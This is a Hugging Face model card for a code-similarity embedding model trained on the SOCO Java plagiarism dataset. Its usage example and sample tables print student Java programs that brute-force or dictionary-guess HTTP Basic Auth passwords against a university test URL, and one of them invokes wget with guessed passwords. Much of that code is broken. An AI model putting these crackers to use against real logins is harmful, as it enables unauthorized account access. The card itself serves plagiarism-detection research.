    \     }\n     }\n   }\n  public String getPasswd()\n  {\n    attempts++;\n\n \
    \   char i1 = 0;\n    char j1 = 0;\n    char k1 = 0;\n    \n     int i= l;   \
    \  int j= m;     int k= n;\n\n    String c = new String();\n    String c1 = new\
    \ String();\n    String c2 = new String();\n    String c3 = new String();\n  \
    \  String c4 = new String();\n    boolean flag;\n\n    for (i=l;i<123;i++)\n \
    \   for (j=m;j<123;j++)\n    for (k=n;k<123;k++)\n    {\n        if( flag = true\
    \ )\n        {\n\n    i1 = (char)i;\n    j1 = (char)j;\n    k1 = (char)k;\n\n\
    \    if (i==91) i=97;\n    if (j==91) j=97;\n    if (k==91) k=97;\n\n    c = i1+\"\
    \";\n    c1 = j1+\"\";\n    c2 = k1+\"\";\n    c3 = c.concat(c1);\n    c4 = c3.concat(c2);\n\
    \    }else break;\n    }\n    flag = false;\n    return c4;\n  }\n\n public InputStream\
    \ openURLForInput (URL url, String uname, String pword)\n throws IOException \
    \ {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty\
    \ (\"Authorization\", PasswordBase64(uname,pword));\n     conn.connect ();\n \
    \    return conn.getInputStream();\n     }\n\n\n public String PasswordBase64(String\
    \ username, String password) {\n     return \" \" + base64Encode (username + \"\
    :\" + password);\n     }\n\n private final static char base64Array [] = {\n  \
    \     'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',\n       'I', 'J', 'K', 'L', 'M',\
    \ 'N', 'O', 'P',\n       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',\n       'Y',\
    \ 'Z', 'a', 'b', 'c', 'd', 'e', 'f',\n       'g', 'h', 'i', 'j', 'k', 'l', 'm',\
    \ 'n',\n       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',\n       'w', 'x', 'y',\
    \ 'z', '0', '1', '2', '3',\n       '4', '5', '6', '7', '8', '9', '+', '/'\n  };\n\
    \n private static String base64Encode (String string)    {\n     String encodedString\
    \ = \"\";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int\
    \ pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n \
    \      byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2\
    \ = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n  \
    \        b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3\
    \ = 0;\n             pad = 1;\n             }\n          else\n             b3\
    \ = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte\
    \ c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 &\
    \ 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString\
    \ += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch\
    \ (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n  \
    \        encodedString += base64Array [c4];\n          break;\n         case 1:\n\
    \          encodedString += base64Array [c3];\n          encodedString += \"=\"\
    ;\n          break;\n        case  2:\n          encodedString += \"==\";\n  \
    \        break;\n        }\n       }\n       return encodedString;\n   }\n }\n"
datasets:
- buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
---

# SentenceTransformer based on microsoft/unixcoder-base-unimodal

This is a [sentence-transformers](https://www.SBERT.net) model finetuned from [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) on the [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

## Model Details

### Model Description
- **Model Type:** Sentence Transformer
- **Base model:** [microsoft/unixcoder-base-unimodal](https://huggingface.co/microsoft/unixcoder-base-unimodal) <!-- at revision c6b7b85380bf4e01309a3cf5e4f686433764d923 -->
- **Maximum Sequence Length:** 512 tokens
- **Output Dimensionality:** 768 dimensions
- **Similarity Function:** Cosine Similarity
- **Training Dataset:**
    - [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java)
<!-- - **Language:** Unknown -->
<!-- - **License:** Unknown -->

### Model Sources

- **Documentation:** [Sentence Transformers Documentation](https://sbert.net)
- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)

### Full Model Architecture

```
SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```

## Usage

### Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

```bash
pip install -U sentence-transformers
```

Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-NoEval")
# Run inference
sentences = [
    '\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.io.*;\nimport java.net.*;\n\npublic class BruteForce extends Frame implements ActionListener {\n\tprivate TextField tf = new TextField();\n    private TextArea  ta = new TextArea();\n\n  \tpublic void actionPerformed (ActionEvent e) {\n\t\tString s = tf.getText();\n\t\tString login="";\n\n\t\tif (s.length() != 0)\n\t\t{\n\t\t\tchar symbol = \'A\';\n\n\t\t\tlogin=":";\n\t\t\t\n\t\t\tfor(int i = 0; i < 3; i++)\n\t\t\t{\n\t\t\t\tsymbol = (char)(57.0 * Math.random() + 65);\n\n\t\t\t\tif(symbol>90 && symbol<97){\n\t\t\t\t\ti--;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\tlogin=login+symbol;\n\n\t\t\t}\n\n\t\t    ta.setText (fetchURL (s,login));\n\t\t    System.out.println("runing"+login);\n\t\t}while(ta.getText().compareTo("Invalid URL")!=0 || ta.getText().compareTo("Error  URL")!=0);\n\n\t\tSystem.out.println("The password is: "+login);\n\t}\n\n\tpublic BruteForce() {\n\t\tsuper ("SEC-CRACK");\n\n\t    \n\t    add (tf, BorderLayout.LEFT);\n\t    ta.setEditable(false);\n\t    add (ta, BorderLayout.CENTER);\n\t    tf.addActionListener (this);\n\n\t    addWindowListener (new WindowAdapter() {\n\t       public void windowClosing (WindowEvent e) {\n\t         dispose();\n\t         System.exit(0);\n\t       }\n\t     });\n\t}\n\n\tprivate String fetchURL (String urlString,String login) {\n\t\tStringWriter sw = new StringWriter();\n\t    PrintWriter  pw = new PrintWriter();\n\n\t    try {\n\t       URL url = new URL (urlString);\n\n\t     \n\t\n\t       \n\n\t      \n\t       String encoding = new url.misc.BASE64Encoder().encode (login.getBytes());\n\n\t      \n\t       URLConnection uc = url.openConnection();\n\t       uc.setRequestProperty  ("Authorization", " " + encoding);\n\t       InputStream content = (InputStream)uc.getInputStream();\n\t       BufferedReader in   =\n\t         new BufferedReader (new InputStreamReader (content));\n\t       String line;\n\t       while ((line = in.readLine()) != null) {\n\t         pw.println (line);\n\t       }\n\t     } catch (MalformedURLException e) {\n\t       pw.println ("Invalid URL");\n\t     } catch (IOException e) {\n\t       pw.println ("Error  URL");\n\t     }\n\t     return sw.toString();\n\t}\n\n\n\tpublic static void  main(String args[]) {\n\t\tFrame f = new BruteForce();\n\t    f.setSize(300, 300);\n\t    f.setVisible (true);\n\t}\n}\n\n\n\n\nclass  Base64Converter\n{\n\tpublic static final char [ ]  alphabet = {\n        \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',   \n        \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',   \n        \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',   \n        \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',   \n        \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',   \n        \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',   \n        \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',   \n        \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\' }; \n\n\n     public static String  encode ( String  s )\n     {\n        return encode ( s.getBytes ( ) );\n     }\n\n     public static String  encode ( byte [ ]  octetString )\n     {\n        int  bits24;\n        int  bits6;\n\n       char [ ]  out\n          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];\n\n       int outIndex = 0;\n        int i        = 0;\n\n       while ( ( i + 3 ) <= octetString.length )\n       {\n          \n          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;\n          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;\n          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;\n\n         bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0000003F );\n          out [ outIndex++ ] = alphabet [ bits6 ];\n       }\n\n       if ( octetString.length - i == 2 )\n       {\n          \n          bits24  = ( octetString [ i     ] & 0xFF ) << 16;\n          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;\n\n          bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x00000FC0 ) >> 6;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n         \n          out [ outIndex++ ] = \'=\';\n        }\n        else if ( octetString.length - i == 1 )\n        {\n          \n          bits24 = ( octetString [ i ] & 0xFF ) << 16;\n\n          bits6 = ( bits24 & 0x00FC0000 ) >> 18;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n          bits6 = ( bits24 & 0x0003F000 ) >> 12;\n          out [ outIndex++ ] = alphabet [ bits6 ];\n\n          \n          out [ outIndex++ ] = \'=\';\n          out [ outIndex++ ] = \'=\';\n        }\n\n       return new String ( out );\n     }\n}\n\n',
    '\n\nimport java.io.*;\nimport java.text.*;\nimport java.util.*;\nimport java.net.*;\n\npublic class BruteForce extends Thread\n{\n   private static final String USERNAME = "";\n   private static final char [] POSSIBLE_CHAR =\n        {\'a\', \'b\', \'c\', \'d\', \'e\', \'f\', \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\',\n         \'n\', \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\', \'w\', \'x\', \'y\', \'z\',\n         \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\', \'I\', \'J\', \'K\', \'L\', \'M\',\n         \'N\', \'O\', \'P\', \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\', \'Y\', \'Z\'};\n   private static int NUMBER_OF_THREAD = 500;\n\n   private static Date startDate = null;\n   private static Date endDate = null;\n\n   private String address;\n   private String password;\n\n   public BruteForce(String address, String password)\n   {\n      this.address = address;\n      this.password = password;\n   }\n\n   public static void main(String[] args) throws IOException\n   {\n      if (args.length < 1)\n      {\n         System.err.println("Invalid usage!");\n         System.err.println("Usage: java BruteForce <url>");\n         System.exit(1);\n      }\n\n      try\n      {\n         brute(args[0], USERNAME);\n      }\n      catch(Exception e)\n      {\n         e.printStackTrace();\n         System.exit(1);\n      }\n   }\n\n   public static void brute(String address, String user)\n   {\n      BruteForce [] threads = new BruteForce[NUMBER_OF_THREAD];\n      int index = 0;\n\n      startDate = new Date();\n      for(int i = 0; i < POSSIBLE_CHAR.length; i++)\n      {\n         for(int j = 0; j < POSSIBLE_CHAR.length; j++)\n         {\n            for(int k = 0; k < POSSIBLE_CHAR.length; k++)\n            {\n               String password = ""+POSSIBLE_CHAR[i]+POSSIBLE_CHAR[j]+\n                                 POSSIBLE_CHAR[k];\n\n               if (threads[index] != null && threads[index].isAlive())\n               {\n                  try\n                  {\n                     threads[index].join();\n                  }\n                  catch(InterruptedException e ) {}\n               }\n               threads[index] = new BruteForce(address, password);\n               threads[index].get();\n\n               index = (index++) % threads.length;\n            }\n         }\n      }\n   }\n\n   public void run()\n   {\n      if (endDate != null)\n         return;\n\n      try\n      {\n\n         URLConnection conn = (new URL(address)).openConnection();\n         conn.setDoInput(true);\n\n         if (login(conn, USERNAME, password))\n         {\n            endDate = new Date();\n            System.out.println("Found the password: \\""+password+"\\"!");\n            SimpleDateFormat format = new SimpleDateFormat("dd/MM/yyyy HH:mm:");\n            System.out.println("Process started at: "+format.format(startDate));\n            System.out.println("Process started at: "+format.format(endDate));\n            double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;\n            System.out.println("Time taken: "+timeTaken+" minutes");\n            System.exit(0);\n         }\n         else\n         {\n            System.out.println("Password: \\""+password+"\\" Failed!");\n            return;\n         }\n      }\n      catch(Exception e)\n      {\n         e.printStackTrace();\n      }\n\n   }\n\n   public static boolean login(URLConnection conn, String user, String pass)\n   {\n      try\n      {\n         String encodeAuth = " "+Base64Encoder.encode(user+":"+pass);\n         conn.setRequestProperty ("Authorization", encodeAuth);\n         conn.connect();\n         conn.getInputStream();\n      }\n      catch(Exception e)\n      {\n         return false;\n      }\n      return true;\n   }\n}\n\n\n',
    '\n\nimport java.net.*;\nimport java.io.*;\n\npublic class Base64Encoder\n{\n   private final static char base64Array [] = {\n          \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n          \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n          \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n          \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n          \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n          \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n          \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n          \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n     };\n\n   public static String encode (String string)\n   {\n      String encodedString = "";\n      byte bytes [] = string.getBytes ();\n      int i = 0;\n      int pad = 0;\n      while (i < bytes.length)\n      {\n         byte b1 = bytes [i++];\n         byte b2;\n         byte b3;\n         if (i >= bytes.length)\n         {\n            b2 = 0;\n            b3 = 0;\n            pad = 2;\n         }\n         else\n         {\n            b2 = bytes [i++];\n            if (i >= bytes.length)\n            {\n               b3 = 0;\n               pad = 1;\n            }\n            else\n               b3 = bytes [i++];\n         }\n\n         byte c1 = (byte)(b1 >> 2);\n         byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n         byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n         byte c4 = (byte)(b3 & 0x3f);\n         encodedString += base64Array [c1];\n         encodedString += base64Array [c2];\n         switch (pad)\n         {\n            case 0:\n               encodedString += base64Array [c3];\n               encodedString += base64Array [c4];\n               break;\n            case 1:\n               encodedString += base64Array [c3];\n               encodedString += "=";\n               break;\n            case 2:\n               encodedString += "==";\n               break;\n         }\n      }\n      return encodedString;\n   }\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```

<!--
### Direct Usage (Transformers)

<details><summary>Click to see the direct usage in Transformers</summary>

</details>
-->

<!--
### Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

</details>
-->

<!--
### Out-of-Scope Use

*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->

<!--
## Bias, Risks and Limitations

*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->

<!--
### Recommendations

*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->

## Training Details

### Training Dataset

#### soco_train_java

* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 33,411 training samples
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>
* Approximate statistics based on the first 1000 samples:
  |         | label                                          | text_1                                                                               | text_2                                                                               |
  |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
  | type    | int                                            | string                                                                               | string                                                                               |
  | details | <ul><li>0: ~99.80%</li><li>1: ~0.20%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 457.49 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
  | label          | text_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           | text_2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          |
  |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
  | <code>0</code> | <code><br>import java.net.*;<br>import java.io.*;<br>import java.util.*;<br><br><br>public class Dictionary {<br><br>  public static void main(String args[])<br>  {<br>  int i,j,k;<br>  String pass = new String();<br>  String UserPass = new String();<br>  String status = new String();<br>  String status1 = new String();<br>  BasicAuth auth = new BasicAuth();<br>  URLConnection  connect;<br>   int start,end,diff;<br>  try {<br>               URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");<br><br><br><br>              start =System.currentTimeMillis();<br><br>               BufferedReader dis = new BufferedReader(new FileReader("words"));<br><br><br>         while ((pass = dis.readLine()) != null)<br>          {<br><br><br>              UserPass= auth.encode("",pass);<br><br>              connect = url.openConnection();<br>              connect.setDoInput(true);<br>              connect.setDoOutput(true);<br><br>              connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");<br>              connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");<br>              connect.setRequestProperty(...</code> | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br>  BruteForce bf=new BruteForce();<br>  System.out.println(" cracking...");<br>   time1=new Date().getTime();<br>  bf.doBruteForce(time1);<br>	 time2=new Date().getTime();<br>	System.out.println("Finish cracking.");<br>	System.out.println(" password found.");<br>  System.out.println("costs "+(time2-time1)+" milliseconds");<br>  System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br>  passwd=new char[3];<br>  Runtime rt=Runtime.getRuntime();<br>   num=0;<br>  for(int i=(int)'z';i>=(int)'A';i--)<br>  {<br>    if(i==96)<br>     i=90;<br>    passwd[0]=(char)i;<br>    for(int j=(int)'z';j>=(int)'A';j--)<br>    {<br>     if(j==96)<br>      j=90;<br>     passwd[1]=(char)j;<br>     for(int k=(int)'z';k>=(int)'A';k--)<br>     {<br>      if(k==96)<br>       k=90;<br>      passwd[2]=(char)k;<br>      String password=new String(passwd);<br>			try<br>    ...</code> |
  | <code>0</code> | <code><br>import java.util.*;<br><br><br>public class Cracker<br>{<br>   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};<br>   private Vector v;<br><br>   public Cracker()<br>   {<br>      v = new Vector( 52);<br>   }<br>   public void loadLetters()<br>   {<br>      int i;<br><br>      for( i = 0; i < letters.length; i++)<br>      {<br>	 String s = new StringBuffer().append( letters[i]).toString();<br>         v.add( s);<br>      }<br>   }<br>   public Vector getVictor()<br>   {<br>      return ;<br>   }<br>   public void loadPairs()<br>   {<br>      int i,j;<br><br>      for( i = 0; i < letters.length - 1; i++)<br>      {<br>         for( j = i + 1; j < letters.length; j++)<br>         {<br>            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();<br>	    String s2 = new StringBuffer().append( letters[j]).append( letters[i])....</code>             | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br>  BruteForce bf=new BruteForce();<br>  System.out.println(" cracking...");<br>   time1=new Date().getTime();<br>  bf.doBruteForce(time1);<br>	 time2=new Date().getTime();<br>	System.out.println("Finish cracking.");<br>	System.out.println(" password found.");<br>  System.out.println("costs "+(time2-time1)+" milliseconds");<br>  System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br>  passwd=new char[3];<br>  Runtime rt=Runtime.getRuntime();<br>   num=0;<br>  for(int i=(int)'z';i>=(int)'A';i--)<br>  {<br>    if(i==96)<br>     i=90;<br>    passwd[0]=(char)i;<br>    for(int j=(int)'z';j>=(int)'A';j--)<br>    {<br>     if(j==96)<br>      j=90;<br>     passwd[1]=(char)j;<br>     for(int k=(int)'z';k>=(int)'A';k--)<br>     {<br>      if(k==96)<br>       k=90;<br>      passwd[2]=(char)k;<br>      String password=new String(passwd);<br>			try<br>    ...</code> |
  | <code>0</code> | <code><br><br>import java.io.*;<br>import java.*;<br>import java.util.StringTokenizer;<br><br>public class Dictionary<br>{<br>   public static void main(String args[])<br>   {<br>      final String DICT_FILE = "/usr/share/lib/dict/words"; <br>      String basic_url = "http://sec-crack.cs.rmit.edu./SEC/2/";  <br>      String password;<br>      String s = null;<br>      int num_tries = 0;<br>      <br>      try<br>      {<br>         <br>         BufferedReader dict_word = new BufferedReader<br>                                  (new FileReader (DICT_FILE));<br>  <br>         <br>         while((password = dict_word.readLine())!= null)<br>         {        <br>            try <br>            {<br>               <br>               Process p = Runtime.getRuntime().exec("wget --http-user= --http-passwd=" + password + " " + basic_url);<br>              <br>               BufferedReader stdInput = new BufferedReader(new <br>                     InputStreamReader(p.getInputStream()));<br><br>               BufferedReader stdError = new BufferedReader(new <br>                     InputStreamReader(p.g...</code>                   | <code><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br> public final static int TOTAL_TIMES=52*52*52;<br> public char[] passwd;<br> public static void main(String[] args) throws IOException<br> {<br>  BruteForce bf=new BruteForce();<br>  System.out.println(" cracking...");<br>   time1=new Date().getTime();<br>  bf.doBruteForce(time1);<br>	 time2=new Date().getTime();<br>	System.out.println("Finish cracking.");<br>	System.out.println(" password found.");<br>  System.out.println("costs "+(time2-time1)+" milliseconds");<br>  System.exit(1);<br> }<br><br> void doBruteForce(int time1) throws IOException<br> {<br>  passwd=new char[3];<br>  Runtime rt=Runtime.getRuntime();<br>   num=0;<br>  for(int i=(int)'z';i>=(int)'A';i--)<br>  {<br>    if(i==96)<br>     i=90;<br>    passwd[0]=(char)i;<br>    for(int j=(int)'z';j>=(int)'A';j--)<br>    {<br>     if(j==96)<br>      j=90;<br>     passwd[1]=(char)j;<br>     for(int k=(int)'z';k>=(int)'A';k--)<br>     {<br>      if(k==96)<br>       k=90;<br>      passwd[2]=(char)k;<br>      String password=new String(passwd);<br>			try<br>    ...</code> |
* Loss: [<code>SoftmaxLoss</code>](https://sbert.net/docs/package_reference/sentence_transformer/losses.html#softmaxloss)

### Evaluation Dataset

#### soco_train_java

* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 16,706 evaluation samples
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>
* Approximate statistics based on the first 1000 samples:
  |         | label                                          | text_1                                                                               | text_2                                                                               |
  |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
  | type    | int                                            | string                                                                               | string                                                                               |
  | details | <ul><li>0: ~99.40%</li><li>1: ~0.60%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 443.68 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 467.63 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
  | label          | text_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 | text_2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
  |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
  | <code>0</code> | <code><br><br>import java.Runtime;<br>import java.io.*;<br><br>public class differenceFile<br>{<br>  StringWriter sw =null;<br>  PrintWriter pw = null;<br>  public differenceFile()<br>  {<br>    sw = new StringWriter();<br>    pw = new PrintWriter();<br>  }<br>  public String compareFile()<br>  {<br>    try<br>    {<br>      Process  = Runtime.getRuntime().exec("diff History.txt Comparison.txt");<br><br>      InputStream write = sw.getInputStream();<br>      BufferedReader bf = new BufferedReader (new InputStreamReader(write));<br>      String line;<br>      while((line = bf.readLine())!=null)<br>          pw.println(line);<br>      if((sw.toString().trim()).equals(""))<br>      {<br>         System.out.println(" difference");<br>         return null;<br>      }<br>      System.out.println(sw.toString().trim());<br>    }catch(Exception e){}<br>    return sw.toString().trim();<br>  }<br>}</code>                                                                                                                                                                                                                                            | <code><br><br><br><br><br><br><br>import java.*;<br>import java.io.*;<br>import java.util.*;<br><br>public class BruteForce<br>{<br><br>	public static void main(String[] args)    <br>	{<br>          Runtime rt = Runtime.getRuntime();<br>	  Process pr= null;<br>          char chars[] = {'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'};<br>	  String pass;<br>          char temp[] = {'a','a'};<br>          char temp1[] = {'a','a','a'};<br>          char temp2[] = {'a'};<br><br>	  String f= new String();<br>          String resp = new String();<br>          int count=0;<br>          String success = new String();<br>          InputStreamReader  instre;<br>          BufferedReader bufread;<br><br><br>               for(int k=0;k<52;k++)<br>                {<br>                 temp2[0]=chars[k];<br>                 pass = new String(temp2);              <br>                 count++;              <br><br>        System.out.println("The password  tried ...</code> |
  | <code>0</code> | <code>import java.io.*;<br>import java.net.*;<br>import java.util.*;<br><br>public class Watchdog<br>{<br>	public static void main(String args[])<br>	{<br>		<br>		String mainLink="http://www.cs.rmit.edu./students/";<br>		String sender = "@cs.rmit.edu.";<br>		String recipient = "<webtech@acuneeds.>";<br>		String hostName = "yallara.cs.rmit.edu.";<br>		int delay = 86400000;<br><br>		try<br>		{<br>			int imgSrcIndex, imgSrcEnd;<br>			String imgLink;<br>			Vector imageList = new Vector();<br>			HttpURLConnection imgConnection;<br>			URL imgURL;<br><br>			<br>			EmailClient email = new EmailClient(sender, recipient, hostName);<br><br>			<br>			URL url=new URL(mainLink);<br>			HttpURLConnection connection = (HttpURLConnection) url.openConnection();<br><br>			BufferedReader webpage = new BufferedReader(new InputStreamReader(connection.getInputStream()));<br><br>			<br>			FileWriter fwrite = new FileWriter("local.txt");<br>			BufferedWriter writefile = new BufferedWriter(fwrite);<br><br>			String line=webpage.readLine();<br><br>			while (line != null)<br>			{<br>				<br>				writefile.write(line,0,line.length());<br>				wri...</code> | <code><br><br>import java.net.*;<br>import java.io.*;<br>import java.String;<br>import java.*;<br>import java.util.*;<br><br>public class BruteForce {<br>  private static final int passwdLength = 3;      <br>  private static String 